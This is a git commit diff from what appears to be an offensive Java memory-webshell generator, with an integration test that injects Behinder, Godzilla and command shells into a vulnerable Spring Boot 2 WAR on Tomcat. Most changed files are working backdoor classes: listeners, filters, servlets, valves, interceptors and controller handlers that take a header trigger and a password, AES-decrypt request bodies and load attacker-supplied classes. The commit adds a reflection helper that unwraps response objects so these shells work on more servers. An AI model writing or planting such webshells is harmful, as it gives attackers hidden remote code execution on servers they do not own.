fix: behinder response wrapper

This commit is contained in:
ReaJason
2024-12-22 20:49:56 +08:00
parent 22392829e5
commit eaf6a81c85
17 changed files with 348 additions and 52 deletions
+1
View File
@@ -56,6 +56,7 @@ test {
":vul:vul-webapp-expression:war",
":vul:vul-webapp-jakarta:war",
":vul:vul-springboot2:bootJar",
":vul:vul-springboot2:bootWar",
":vul:vul-springboot3:bootJar"
)
useJUnitPlatform()
@@ -16,6 +16,7 @@ public class ContainerTool {
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
@@ -0,0 +1,76 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot2WarContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
}
}
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
@@ -88,11 +88,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
response = (HttpServletResponse) getFieldValue(request, "_response");
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@@ -42,7 +43,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
@@ -58,6 +59,36 @@ public class BehinderFilter extends ClassLoader implements Filter {
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@@ -30,7 +31,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
@@ -44,6 +45,36 @@ public class BehinderServlet extends ClassLoader implements Servlet {
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public String getServletInfo() {
return "";
@@ -7,8 +7,10 @@ import org.apache.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@@ -82,7 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
@@ -98,4 +100,34 @@ public class BehinderValve extends ClassLoader implements Valve {
this.getNext().invoke(request, response);
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@@ -34,12 +35,13 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
System.out.println(response.getClass().getName());
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
@@ -54,6 +56,36 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
return null;
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
@@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
@@ -40,7 +41,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
@@ -57,6 +58,36 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
@@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", response);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
try {
session.putValue("u", this.pass);
} catch (NoSuchMethodError e) {
session.setAttribute("u", this.pass);
}
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
@@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot2;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
public class ServletInitializer extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(VulSpringboot2Application.class);
}
}